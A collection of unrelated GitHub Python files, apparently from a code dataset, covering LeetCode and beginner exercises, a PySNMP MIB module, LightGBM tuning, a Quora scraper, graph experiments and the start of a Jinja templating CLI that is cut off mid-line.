{"seq_id":"38425811521","text":"\"\"\"\nhttps://leetcode-cn.com/problems/matrix-cells-in-distance-order/\n给出 R 行 C 列的矩阵，其中的单元格的整数坐标为 (r, c)，满足 0 <= r < R 且 0 <= c < C。\n\n另外，我们在该矩阵中给出了一个坐标为 (r0, c0) 的单元格。\n\n返回矩阵中的所有单元格的坐标，并按到 (r0, c0) 的距离从最小到最大的顺序排，其中，两单元格(r1, c1) 和 (r2, c2) 之间的距离是曼哈顿距离，|r1 - r2| + |c1 - c2|。（你可以按任何满足此条件的顺序返回答案。）\n\n示例 1：\n    输入：R = 1, C = 2, r0 = 0, c0 = 0\n    输出：[[0,0],[0,1]]\n    解释：从 (r0, c0) 到其他单元格的距离为：[0,1]\n\n示例 2：\n    输入：R = 2, C = 2, r0 = 0, c0 = 1\n    输出：[[0,1],[0,0],[1,1],[1,0]]\n    解释：从 (r0, c0) 到其他单元格的距离为：[0,1,1,2]\n    [[0,1],[1,1],[0,0],[1,0]] 也会被视作正确答案。\n\n示例 3：\n    输入：R = 2, C = 3, r0 = 1, c0 = 2\n    输出：[[1,2],[0,2],[1,1],[0,1],[1,0],[0,0]]\n    解释：从 (r0, c0) 到其他单元格的距离为：[0,1,1,2,2,3]\n    其他满足题目要求的答案也会被视为正确，例如 [[1,2],[1,1],[0,2],[1,0],[0,1],[0,0]]。\n\n提示：\n    1 <= R <= 100\n    1 <= C <= 100\n    0 <= r0 < R\n    0 <= c0 < C\n\n\"\"\"\nclass Solution:\n    def allCellsDistOrder(self, R, C, r0, c0):\n        dist_list = [[] for i in range(200)]\n        for i in range(R):\n            for j in range(C):\n                distinct = abs(r0-i) + abs(c0-j)\n                dist_list[distinct].append([i, j])\n        result = []\n        for i in dist_list:\n            if i:\n                result.extend(i)\n            else:\n                break\n        return result\n\nif __name__ == \"__main__\":\n    R = 2\n    C = 3\n    r0 = 1\n    c0 = 2\n    sol = Solution()\n    result = sol.allCellsDistOrder(R, C, r0, c0)\n    print(result)","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_algorithm/1_easy/1030_距离顺序排列矩阵单元格.py","file_name":"1030_距离顺序排列矩阵单元格.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"14122210158","text":"'''A program should read “n” positive integers from the user and\r\nappend it to the list, and if the list contains prime numbers return “True” and\r\nnumber of prime numbers, else “False”.'''\r\ndef is_prime(n):\r\n    if n < 2:\r\n        return False\r\n    for i in range(2, int(n ** 0.5) + 1):\r\n        if n % i == 0:\r\n            return False\r\n    return True\r\n\r\nn = int(input(\"Enter the number of integers: \"))\r\n\r\nnum_list = [int(input(\"Enter number \")) for i in range(n)]\r\n\r\nprime_numbers = [num for num in num_list if is_prime(num)]\r\n\r\nif prime_numbers:\r\n    print(\"True\")\r\n    print(\"Number of prime numbers:\", len(prime_numbers))\r\nelse:\r\n    print(\"False\")\r\n","repo_name":"VPOOJE/PYTHON","sub_path":"list programs/list6.py","file_name":"list6.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1611238051","text":"#エスケープ\ntest = r'sSay hi to bob\\'s mother'\nprint(test)\n\n#raw文字列   文字列の中のエスケープ文字を無視してバックスラッシュをバックスラッシュとして扱う\n\n#３連クゥートによる複数行文字列　\\nというエスケープ文字を使わなくてもよくなる\nprint(\"\"\"pfdsa\n      fdsafas\n      fdas\"\"\")\n\n#startswith(),endswith()\nprint(\"hello\".endswith(\"lo\"))\n\n#join　リストを指定した文字で繋げる \n# split 文字列を分割する。改行したい時なんかに使える\n\"\"\"\n>>> \"\".join([\"sss\",\"bb\"])\n'sssbb'\n>>> \",\".join([\"sss\",\"bb\"])\n'sss,bb'\n\"\"\"\n\n#rjust,ljust(),center()  表形式のデータを正しくスペースを開けて表示したい時に便利\na = 'Hello'.rjust(10)\nprint(a)\nb = 'Hello'.rjust(10, \"+\")\nprint(b)\n\n#strip()　文字列の冒頭と末尾の空白文字を除去した新しい文字列を返す.引数を渡すと、渡した文字列を両端から削除する\n#rstrip() lstrip() 冒頭もしくは末尾の空白を除去して返すメソッド\nspam = '     table   '\nspam.strip()\nspam.lstrip()\n\n#pyperclip　クリップボードを操作する\nimport pyperclip\npyperclip.copy('hello world')\npyperclip.paste()\n","repo_name":"fumiyakitahara/python-automate-study","sub_path":"文字列操作/文字列操作.py","file_name":"文字列操作.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6810117779","text":"#\n# PySNMP MIB module ACCEDIAN-SMI (http://snmplabs.com/pysmi)\n# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ACCEDIAN-SMI\n# Produced by pysmi-0.3.4 at Mon Apr 29 16:57:24 2019\n# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4\n# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) \n#\nOctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"ObjectIdentifier\", \"Integer\")\nNamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\")\nConstraintsUnion, ValueRangeConstraint, ConstraintsIntersection, ValueSizeConstraint, SingleValueConstraint = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ConstraintsUnion\", \"ValueRangeConstraint\", \"ConstraintsIntersection\", \"ValueSizeConstraint\", \"SingleValueConstraint\")\nNotificationGroup, ModuleCompliance = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"NotificationGroup\", \"ModuleCompliance\")\nNotificationType, Bits, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Gauge32, IpAddress, ObjectIdentity, MibIdentifier, Integer32, TimeTicks, Counter64, Unsigned32, enterprises, iso = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"NotificationType\", \"Bits\", \"Counter32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"ModuleIdentity\", \"Gauge32\", \"IpAddress\", \"ObjectIdentity\", \"MibIdentifier\", \"Integer32\", \"TimeTicks\", \"Counter64\", \"Unsigned32\", \"enterprises\", \"iso\")\nTextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\")\naccedianMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 22420))\naccedianMIB.setRevisions(('2006-08-06 01:00',))\nif mibBuilder.loadTexts: accedianMIB.setLastUpdated('200608060100Z')\nif mibBuilder.loadTexts: accedianMIB.setOrganization('Accedian Networks, Inc.')\nacdProducts = ObjectIdentity((1, 3, 6, 1, 4, 1, 22420, 1))\nif mibBuilder.loadTexts: acdProducts.setStatus('current')\nacdMibs = ObjectIdentity((1, 3, 6, 1, 4, 1, 22420, 2))\nif mibBuilder.loadTexts: acdMibs.setStatus('current')\nacdTraps = ObjectIdentity((1, 3, 6, 1, 4, 1, 22420, 3))\nif mibBuilder.loadTexts: acdTraps.setStatus('current')\nacdExperiment = MibIdentifier((1, 3, 6, 1, 4, 1, 22420, 4))\nacdServices = ObjectIdentity((1, 3, 6, 1, 4, 1, 22420, 5))\nif mibBuilder.loadTexts: acdServices.setStatus('current')\nmibBuilder.exportSymbols(\"ACCEDIAN-SMI\", acdTraps=acdTraps, acdServices=acdServices, PYSNMP_MODULE_ID=accedianMIB, accedianMIB=accedianMIB, acdMibs=acdMibs, acdExperiment=acdExperiment, acdProducts=acdProducts)\n","repo_name":"cisco-kusanagi/mibs.snmplabs.com","sub_path":"pysnmp/ACCEDIAN-SMI.py","file_name":"ACCEDIAN-SMI.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"71098097382","text":"\"\"\"\nПрограмма: Тренировка данных\nВерсия: 1.0\n\"\"\"\n\nimport optuna\nfrom lightgbm import LGBMRegressor\n\nfrom optuna import Study\n\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import mean_squared_error\nimport pandas as pd\nimport numpy as np\nfrom ..data.split_dataset import get_train_test_data\nfrom ..train.metrics import save_metrics\n\n\ndef objective(\n    trial,\n    data_x: pd.DataFrame,\n    data_y: pd.Series,\n    n_folds: int = 5,\n    random_state: int = 10\n) -> np.array:\n    \"\"\"\n    Целевая функция для поиска параметров\n    :param trial: кол-во trials\n    :param data_x: данные объект-признаки\n    :param data_y: данные с целевой переменной\n    :param n_folds: кол-во фолдов\n    :param random_state: random_state\n    :return: среднее значение метрики по фолдам\n    \"\"\"\n    lgb_params = {\n        \"n_estimators\": trial.suggest_categorical(\"n_estimators\", [348]),\n        # \"n_estimators\": trial.suggest_int(\"n_estimators\", 100, 1000, log=True),\n        \"learning_rate\": trial.suggest_categorical(\"learning_rate\", [0.025261718741189964]),\n        # \"learning_rate\": trial.suggest_float(\"learning_rate\", 0.001, 0.3, log=True),\n        \"num_leaves\": trial.suggest_int(\"num_leaves\", 20, 500, step=10),\n        \"max_depth\": trial.suggest_int(\"max_depth\", 6, 10),\n        \"max_bin\": trial.suggest_int(\"max_bin\", 50, 300),\n        \"min_child_samples\": trial.suggest_int(\"min_child_samples\", 10, 100, step=3),\n        'reg_alpha': trial.suggest_loguniform('reg_alpha', 1e-3, 20.0),\n        'reg_lambda': trial.suggest_loguniform('reg_lambda', 1e-3, 10.0),\n        \"subsample\": trial.suggest_float(\"subsample\", 0.1, 1.0),\n        \"colsample_bytree\": trial.suggest_float(\"colsample_bytree\", 0.1, 1.0),\n        \"random_state\": trial.suggest_categorical(\"random_state\", [random_state])}\n\n    cv = KFold(n_splits=n_folds, shuffle=True)\n\n    cv_predicts = np.empty(n_folds)\n    for idx, (train_idx, test_idx) in enumerate(cv.split(data_x, data_y)):\n        X_train, X_test = data_x.iloc[train_idx], data_x.iloc[test_idx]\n        y_train, y_test = data_y.iloc[train_idx], data_y.iloc[test_idx]\n\n        pruning_callback = optuna.integration.LightGBMPruningCallback(\n            trial, \"l2\")\n        model = LGBMRegressor(**lgb_params)\n        model.fit(X_train,\n                  y_train,\n                  eval_set=[(X_test, y_test)],\n                  eval_metric='rmse',\n                  early_stopping_rounds=100,\n                  callbacks=[pruning_callback],\n                  verbose=0)\n\n        preds = model.predict(X_test)\n        cv_predicts[idx] = np.sqrt(mean_squared_error(y_test, preds))\n\n    return np.mean(cv_predicts)\n\n\ndef find_optimal_params(\n    data_train: pd.DataFrame, data_test: pd.DataFrame, **kwargs\n) -> Study:\n    \"\"\"\n    Пайплайн для тренировки модели\n    :param data_train: датасет train\n    :param data_test: датасет test\n    :return: [LGBMClassifier tuning, Study]\n    \"\"\"\n    x_train, x_test, y_train, y_test = get_train_test_data(\n        data_train=data_train, data_test=data_test, target=kwargs[\"target_column\"]\n    )\n\n    study = optuna.create_study(direction=\"minimize\", study_name=\"LGB\")\n    function = lambda trial: objective(\n        trial, x_train, y_train, kwargs[\"n_folds\"], kwargs[\"random_state\"]\n    )\n    study.optimize(function, n_trials=kwargs[\"n_trials\"], show_progress_bar=True)\n    return study\n\n\ndef train_model(\n    data_train: pd.DataFrame,\n    data_test: pd.DataFrame,\n    study: Study,\n    target: str,\n    metric_path: str,\n) -> LGBMRegressor:\n    \"\"\"\n    Обучение модели на лучших параметрах\n    :param data_train: тренировочный датасет\n    :param data_test: тестовый датасет\n    :param study: study optuna\n    :param target: название целевой переменной\n    :param metric_path: путь до папки с метриками\n    :return: LGBMRegressor\n    \"\"\"\n    # get data\n    x_train, x_test, y_train, y_test = get_train_test_data(\n        data_train=data_train, data_test=data_test, target=target\n    )\n\n    # training optimal params\n    model = LGBMRegressor(**study.best_params, silent=True, verbose=-1)\n    model.fit(x_train, y_train, verbose=-1)\n\n    # save metrics\n    save_metrics(data_x=x_test, data_y=y_test, model=model, metric_path=metric_path)\n    return model\n","repo_name":"prgkk/pet_project_MLOps","sub_path":"Pet-project-MLOps/backend/src/train/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4043323657","text":"from gerador import pontof, palpt, numCPU, vez\n\nimport os\nimport time\n\nif palpt == numCPU:\n    print(\"\\n\\033[0;36m  Uuuuhhhhh.... Você acertou o número \",numCPU,\" e foram \",vez,\"vezes.\")        \n    print(\"  E a tua Pontuação do Jogo foi: \",pontof,\"pontos.\")\n    if pontof >= 50:\n        print(\"  A tua Pontuação do Jogo foi Muito Excelente!!!!! Parabéns...\\033[m\\n\")\n    else:    \n        print(\"  A tua Pontuação do Jogo foi Bom!!!!! Parabéns...\\033[m\\n\")            \nelse:\n    print(\"\\n  Não foi desta vez.... O Número Secreto era\",numCPU,\".\\n\")\n    print(\"  E a tua Pontuação do Jogo foi:\",pontof,\"pontos.\\033[m\\n\")\n    if pontof >= 5:\n        print(\"  A tua Pontuação do Jogo foi Razoável...\\033[m\\n\")\n    else:    \n        print(\"  A tua Pontuação do Jogo foi muito Baixo...\\033[m\\n\")  \nresp = input(\"\\033[0;33m  Deseja Jogar novamente[S/N]?\\033[m]\").upper()\nif resp == 'S':               \n    #return comeco()    inicial.py   ## Não consegui voltar no começo... \n    exit()\nelse:    \n    print(\"\\n\\033[1;36m         Feito por Sérgio Renato Steglich - SRSistemas\\033[m\\n\") \n    print(\"\\n\\033[1;31m   Encerrado, até próxima!!!\\033[m\\n\") \n    time.sleep(3)\n    os.system('cls' if os.name == 'nt' else 'clear')       \n    exit()            \n    \n    \n    \n","repo_name":"srsteglich/JogoAvidinhacaoPOO","sub_path":"POO1/finalizar.py","file_name":"finalizar.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36120145241","text":"import time\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport re\nfrom selenium import webdriver\ndriver = webdriver.Chrome(\"/home/mj/Documents/scrape/selscrape/chromedriver\")\n\npages=set()\nextract={}\nbaseurl=\"https://www.quora.com\"\n\n\nflag=1\ndef get_topic_list(pagenum,word):\n    n=len(pagenum)\n    temp=0\n    i=0\n    for i in range(0,n):\n\n        linktoclick=pagenum[i]\n        html=urlopen(linktoclick)\n        bsobj=BeautifulSoup(html)\n        maindiv=bsobj.find(\"div\",{\"class\":\"ContentWrapper\"})\n        ls=maindiv.find(\"a\",href=re.compile(\"(/topic/)\"))\n        if word.lower()>ls.get_text().lower():\n        \ttemp=i\n\n        elif word.lower()<ls.get_text().lower() and word.lower() not in ls.get_text().lower():\n        \tflag=-1\n        \tbreak\n\n    if i==temp:\n        try:\n          linktoclick=pagenum[i]\n          html=urlopen(linktoclick)\n          bsobj=BeautifulSoup(html)\n          maindiv=bsobj.find(\"div\",{\"class\":\"ContentWrapper\"})               \n          ls=maindiv.findAll(\"a\",href=re.compile(\"(/topic/)\"))\n          if word.lower()>ls[0].get_text().lower() and word.lower()<=ls[len(ls)-1].get_text().lower() :\n             for k in ls :\n                m= re.search( r'topic/(.*)',k.attrs[\"href\"], re.M|re.I)\n                m=m.group(1)\n                extract[k.get_text().lower()]=m\n        except:\n          pass\n\n\n\n    else:        \n\t    for j in range(temp,i):\n\t        linktoclick=pagenum[j]\n\t        html=urlopen(linktoclick)\n\t        bsobj=BeautifulSoup(html)\n\t        maindiv=bsobj.find(\"div\",{\"class\":\"ContentWrapper\"})               \n\t        ls=maindiv.findAll(\"a\",href=re.compile(\"(/topic/)\"))\n\t        for k in ls :\n\t            m= re.search( r'topic/(.*)',k.attrs[\"href\"], re.M|re.I)\n\t            m=m.group(1)\n\t            extract[k.get_text().lower()]=m\n       \t       \n\n            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef begin(pageUrl,word):\n    pagenum=[]\n    linktoclick=baseurl+pageUrl+word[:2].lower()  \n    pagenum.append(linktoclick)\n        \n        \n    while 1:\n        html=urlopen(linktoclick)\n        bsobj=BeautifulSoup(html)\n        maindiv=bsobj.find(\"div\",{\"class\":\"ContentWrapper\"})\n        pages_head=maindiv.find(\"h2\")\n        cur=pages_head.find(\"strong\").get_text()\n        pagen=pages_head.findAll(\"a\")\n        \n        \n        for i in pagen:\n     \n                if i.get_text()!=\"Next\" and i.get_text()!=\"Previous\" and int(i.get_text())>int(cur) :\n                    pagenum.append(baseurl+i.attrs[\"href\"])\n        get_topic_list(pagenum,word)\n        \n        if (pagen[len(pagen)-1].get_text()!=\"Next\" or flag==-1):\n        \treturn extract\n\n        linktoclick=pagenum[len(pagenum)-1]\n        driver.get(linktoclick)\n        pagenum=[]\n\n     \n\ndef binary_search(word,ls):\n    l=0;\n    r=len(ls)-1\n    mid=l+(r-l)//2\n    while l<=r:\n        if ls[mid].lower()==word:\n            return mid\n        elif ls[mid].lower()>word:\n            r=mid-1\n        else:\n            l=mid+1\n        mid=l+(r-l)//2\n    return -1\n\n    \n\n   \n   \n# ,href=re.compile(\"(/{wo}/)\".format(wo=word))\nans={}\nansl=[]\n    \ndef getLinks(pageUrl,word):\n    k=0\n    \n    global  pages\n    html=urlopen(pageUrl)\n    bsObj=BeautifulSoup(html)\n    for link in bsObj.findAll(\"a\",{\"class\":\"question_link\"}):\n        if 'href' in link.attrs:\n            if link.attrs['href'] not in  pages:\n\n                newPage=link.attrs['href']\n                pages.add(newPage)\n                ansl.append(newPage)\n    # for link in bsObj.findAll(\"span\",{\"class\":\"count\"}):\n    \t\n    # \tans[ansl[k]]=link.get_text()\n    # \tk=k+1\n\n\n\n\n\n\n\n\ndef go_to_topic(word):\n\tword=word.lower()\n\tdi=begin(\"/sitemap/alphabetical_topics/\",word)\n\tls=sorted(di.keys())\n\t\n\tind=binary_search(word,ls)\n\tif ind!=-1:\n\t\ttopic_url=di[ls[ind]]\n\t\tlinktoclick=\"https://www.quora.com/topic/{t}\".format(t=topic_url)\n\t\tdriver.get(linktoclick)\n\t\tgetLinks(linktoclick,word)\n\t\t# for i in ans.keys():\n\t\t# \tprint(i,\"--->\",ans[i],\"\\n\\n\")\n\t\tfor i in ansl:\n\t\t\tprint(baseurl+i,\"\\n\")\n\n\n\n\telse:\n\t\tprint(\"Not found!!\\n\\nSuggested Searches:\\n\\n\")\n\t\tfor i in ls:\n\t\t\tprint(i,\"\\n\")\n\n\n \n\n\ngo_to_topic(\"data\")\n\n# # driver function\n# def main():\n \n#     # Input keys (use only 'a' through 'z' and lower case)\n#     keys = [\"the\",\"a\",\"there\",\"anaswe\",\"any\",\n#             \"by\",\"their\"]\n#     output = [\"Not present in trie\",\n#               \"Present in tire\"]\n \n#     # Trie object\n#     t = Trie()\n \n#     # Construct trie\n#     for key in keys:\n#         t.insert(key)\n \n#     # Search for different keys\n#     print(\"{} ---- {}\".format(\"the\",output[t.search(\"the\")]))\n#     print(\"{} ---- {}\".format(\"these\",output[t.search(\"these\")]))\n#     print(\"{} ---- {}\".format(\"their\",output[t.search(\"their\")]))\n#     print(\"{} ---- {}\".format(\"thaw\",output[t.search(\"thaw\")]))\n","repo_name":"manoj-jeswani/Quora-Scraper","sub_path":"selci.py","file_name":"selci.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"27655382273","text":"store={\n    'HP': 20,\n    'DELL': 50,\n    'MACBOOK': 12,\n    'ASUS': 30,\n    'ACER': 25,\n}\nprize={\n    'HP': 600,\n    'DELL': 650,\n    'MACBOOK': 12000,\n    'ASUS': 400,\n    'ACER': 350,\n}\nm= 0\nfor i in store.keys():\n    for k in range(1):\n        n= store[i]*prize[i]\n        print('Tổng giá của ', i, 'là: ', n)\n        m += n\nprint('Tổng giá trị toàn bộ các máy trong kho: ',m)\n","repo_name":"SyTuan10/C4T16","sub_path":"Session11/store1.py","file_name":"store1.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2414063168","text":"# coding= utf-8\nfrom multiprocessing import Process\n\n\nclass SunProcess(Process):\n    def __init__(self, name):\n        super().__init__()\n        self.name = name\n    def run(self):\n        print(\"1234\")\n\nif __name__ == '__main__':\n    p = SunProcess(\"sun\")\n    p.start()\n    p.join()","repo_name":"sunjilong-tony/multiprocess-threading-asyncio","sub_path":"进程multiprocess/6.封装进程.py","file_name":"6.封装进程.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23893406630","text":"from MethodApproach import *\n\n\ndef hard_coded_experiment_five_plot():\n    y1 = [0., 0., 0., 0., 0.02, 0.03, 0.15, 0.21, 0.28, 0.33, 0.43, 0.46, 0.53, 0.54, 0.57, 0.59, 0.61, 0.62, 0.63,\n          0.65]\n    y2 = [0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.01, 0.05, 0.09, 0.16, 0.19, 0.22, 0.24, 0.25, 0.28, 0.39,\n          0.48, 0.49, 0.53, 0.57, 0.58, 0.58, 0.59, 0.58, 0.63, 0.62, 0.62, 0.63, 0.63, 0.64, 0.64, 0.64, 0.65, 0.65]\n    y3 = [0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.01, 0.12, 0.21,\n          0.3, 0.38, 0.42, 0.47, 0.49, 0.54, 0.56, 0.59, 0.61, 0.59, 0.63, 0.63, 0.64, 0.65]\n    xdummies = np.arange(1, 41, 1)\n    xdummies2 = np.arange(21, 41, 1)\n\n    clusters = np.array([])\n    means = np.array([])\n\n    clusters = np.hstack((clusters, np.ones(20)))\n    means = np.hstack((means, np.arange(0.05, 1.05, 0.05)))\n    clusters2 = np.arange(1, 21, 1)\n    clusters2 = [str(x) for x in clusters2]\n    clusters2 = [''.join('(' + clusters2[i] + ')') for i in range(len(clusters2))]\n    clusters = np.hstack((clusters, clusters2))\n    means = np.hstack((means, np.ones(20)))\n\n    clusters = np.hstack((clusters, np.arange(1, 21, 1)))\n    means = np.hstack((means, np.full(20, 0.05)))\n    clusters = np.hstack((clusters, np.full(20, 20)))\n    means = np.round(means, 3)\n    means2 = np.arange(0.05, 1.05, 0.05)\n    means2 = np.round(means2, 3)\n    means2 = [str(x) for x in means2]\n    means2 = [''.join('(' + means2[i] + ')') for i in range(len(means2))]\n    means = np.hstack((means, means2))\n\n    strClusters = [str(x) for x in clusters]\n    strMeans = [str(x) for x in means]\n    upperAxis = np.zeros(40)\n    upperAxis = [str(x) for x in upperAxis]\n    lowerAxis = np.zeros(40)\n    lowerAxis = [str(x) for x in lowerAxis]\n\n    j = 0\n    for i in range(len(strClusters)):\n        if i <= len(strClusters) / 2 - 1:\n            lowerAxis[i] = strMeans[i] + ' : ' + strClusters[i]\n        else:\n            upperAxis[j] = strMeans[i] + ' : ' + strClusters[i]\n            j += 1\n\n    fig, ax = plt.subplots(constrained_layout=True)\n    ax.set_xticks(xdummies, lowerAxis, rotation=80, size=16)\n    ax.tick_params(axis='x', colors='b')\n\n    ax2 = ax.twiny()\n    ax2.set_xticks(xdummies, upperAxis, rotation=80, size=16)\n    ax2.tick_params(axis='x', colors='red')\n\n    lns1 = ax2.plot(xdummies, y2, label='Set-up #1: Peaking y_mu first')\n    lns2 = ax.plot(xdummies, y3, color='r', label='Set-up #2: Peaking cluster_par first')\n    lns3 = ax.plot(xdummies2, y1, color='g', label='Set-up #3 Increasing both parameters simultaneously')\n    ax.axvline(20.5, linestyle='--')\n\n    ax.set_ylabel('Ratio of 3-d graph above threshold')\n    ax2.set_xlabel('Parameters for set-up #3 - y_mu : cluster_par')\n    ax.set_xlabel('Parameters for set-up #1 - y_mu : cluster_par ')\n\n    ax.xaxis.label.set_size(30)\n    ax2.xaxis.label.set_size(30)\n    ax.yaxis.label.set_size(30)\n    ax.tick_params(axis='y', labelsize=16)\n\n    lns = lns1 + lns2 + lns3\n    labs = [line.get_label() for line in lns]\n    ax.legend(lns, labs, loc=0, title='Experiment set-ups:', fontsize=23)\n\n    # ax.legend(title='Experiment set-ups:')\n    plt.show()\n\n\n# cluster_parameters_experiment_method((5, 5, 5), 100, 1, 0.1, 40, 40, 5, True)\ndef Experiment_6(dimensions, d_size, y_mu, increment, perm, iterations, cluster_par, plot):\n    y_mu_list = np.arange(0, y_mu, increment)\n    m = cluster_par / (y_mu / increment)\n    cluster_size = np.arange(0, cluster_par, m)\n    signi = np.zeros((len(y_mu_list), len(cluster_size)))\n    k = 0\n    for mu in y_mu_list:\n        j = 0\n        for size in cluster_size:\n            sig = 0\n            for i in range(iterations):\n                g = create_grid_graph((dimensions[0], dimensions[1], dimensions[2]), d_size, 0, 1, mu, 1, size)\n                sig = sig + method(g, 0.05, 'data', 100, perm)\n            signi[k, j] = sig / iterations\n            j = j + 1\n        k = k + 1\n        print('Ran cluster parameters experiment ', k, '/', len(y_mu_list), 'time(s)')\n\n    if plot:\n        y_mesh, cluster_mesh = np.meshgrid(cluster_size, y_mu_list)\n\n        fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})\n        surf = ax.plot_surface(cluster_mesh, y_mesh, signi, cmap=cm.coolwarm,\n                               linewidth=0, antialiased=False)\n        ax.zaxis.set_major_locator(LinearLocator(10))\n        ax.zaxis.set_major_formatter('{x:.02f}')\n\n        ax.set_ylabel('Cluster size')\n        ax.set_xlabel('y_mu')\n        ax.set_zlabel('Significance')\n        ax.set_zlim(0, 1.00)\n        fig.colorbar(surf, shrink=0.5, aspect=5)\n\n        plt.show()\n    print((signi > 0.40).sum())\n    per = ((signi > 0.40).sum()) / (signi.shape[0] * signi.shape[1])\n    return signi, per\n\n\ndef experiment_7():\n    edge_ratios = [0.01, 0.04, 0.07, 0.1, 0.5, 0.65, 0.85, 1.0]\n    edge_neighbors = [1, 3, 6, 9, 12, 15, 18, 21]\n\n    iterations = 200\n    perc = np.zeros(3)\n    perc_random = np.zeros(len(edge_ratios))\n    perc_PA = np.zeros(len(edge_neighbors))\n    j = 0\n    for i in range(iterations):\n        g = create_circle_graph(125, 100, 0, 1, 0.2, 1, 5)\n        perc[j] = perc[j] + method(g, 0.05, 'data', 100, 100)\n    j = j + 1\n    print('Done with circular graphs')\n    for i in range(iterations):\n        g = create_grid_graph((25, 5, 1), 100, 0, 1, 0.2, 1, 5)\n        perc[j] = perc[j] + method(g, 0.05, 'data', 100, 100)\n    j = j + 1\n    print('Done with 2-d grids')\n    for i in range(iterations):\n        g = create_grid_graph((5, 5, 5), 100, 0, 1, 0.2, 1, 5)\n        perc[j] = perc[j] + method(g, 0.05, 'data', 100, 100)\n    j = j + 1\n    print('Done with 3-d grids')\n    j = 0\n    for edges in edge_ratios:\n        for i in range(iterations):\n            g = simulate_network(100, 'random', edges, 0, 0, 1, 0.2, 1, 100, 5)\n            perc_random[j] = perc_random[j] + method(g, 0.05, 'data', 100, 100)\n        j = j + 1\n        print('Done with ', j, ' / ', len(edge_ratios))\n    print('Done with Random graphs')\n    j = 0\n    for edges in edge_neighbors:\n        for i in range(iterations):\n            g = simulate_network(100, 'PA', 0, edges, 0, 1, 0.2, 1, 100, 5)\n            perc_PA[j] = perc_PA[j] + method(g, 0.05, 'data', 100, 100)\n        j = j + 1\n        print('Done with ', j, ' / ', len(edge_neighbors))\n    print('Done with PA graphs')\n    print('Percentages for preliminary graphs: ', perc / iterations)\n    print('Percentages for random graphs: ', perc_random / iterations)\n    print('Percentages for PA graphs: ', perc_PA / iterations)\n\n\nif __name__ == '__main__':\n    print()\n","repo_name":"AndersRolighed/Bachelor","sub_path":"CalledSequences.py","file_name":"CalledSequences.py","file_ext":"py","file_size_in_byte":6577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20562452227","text":"from FileLoader import FileLoader\nimport pandas as pd\n\ndef proportionBySport(df, year, sport, gender):\n    cut = df.loc[df['Year'] == year]\n    cut = cut.loc[cut['Sex'] == gender]\n    cut = cut.drop_duplicates(subset=\"Name\")\n    nb = len(cut.loc[cut[\"Sport\"] == sport])\n    prop = nb / cut.shape[0]\n    print(prop)\n\n# loader = FileLoader()\n# data = loader.load('../data/athlete_events.csv')\n# proportionBySport(data, 2004, 'Tennis', 'F')","repo_name":"Manami69/python_day04","sub_path":"ex02/ProportionBySport.py","file_name":"ProportionBySport.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38056302241","text":"import logging\nimport argparse\nfrom magicalimport import import_symbol\nfrom dictknife.loading import get_formats\nfrom kamidana.debug import error_handler\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--data\", action=\"append\", help=\"support yaml, json, toml\", default=[]\n    )\n    parser.add_argument(\n        \"--loader\",\n        default=\"kamidana.loader:TemplateLoader\",\n        help=\"default: kamidana.loader:TemplateLoader\",\n    )\n    parser.add_argument(\n        \"--logging\", choices=list(logging._nameToLevel.keys()), default=\"INFO\"\n    )\n    parser.add_argument(\"-a\", \"--additionals\", action=\"append\", default=[])\n    parser.add_argument(\"-e\", \"--extension\", action=\"append\", default=[])\n    parser.add_argument(\"-i\", \"--input-format\", default=None, choices=get_formats())\n    parser.add_argument(\"-o\", \"--output-format\", default=\"raw\")\n    parser.add_argument(\"--debug\", action=\"store_true\")\n    parser.add_argument(\"--quiet\", action=\"store_true\")\n    parser.add_argument(\"batch\")\n    parser.add_argument(\"--outdir\", 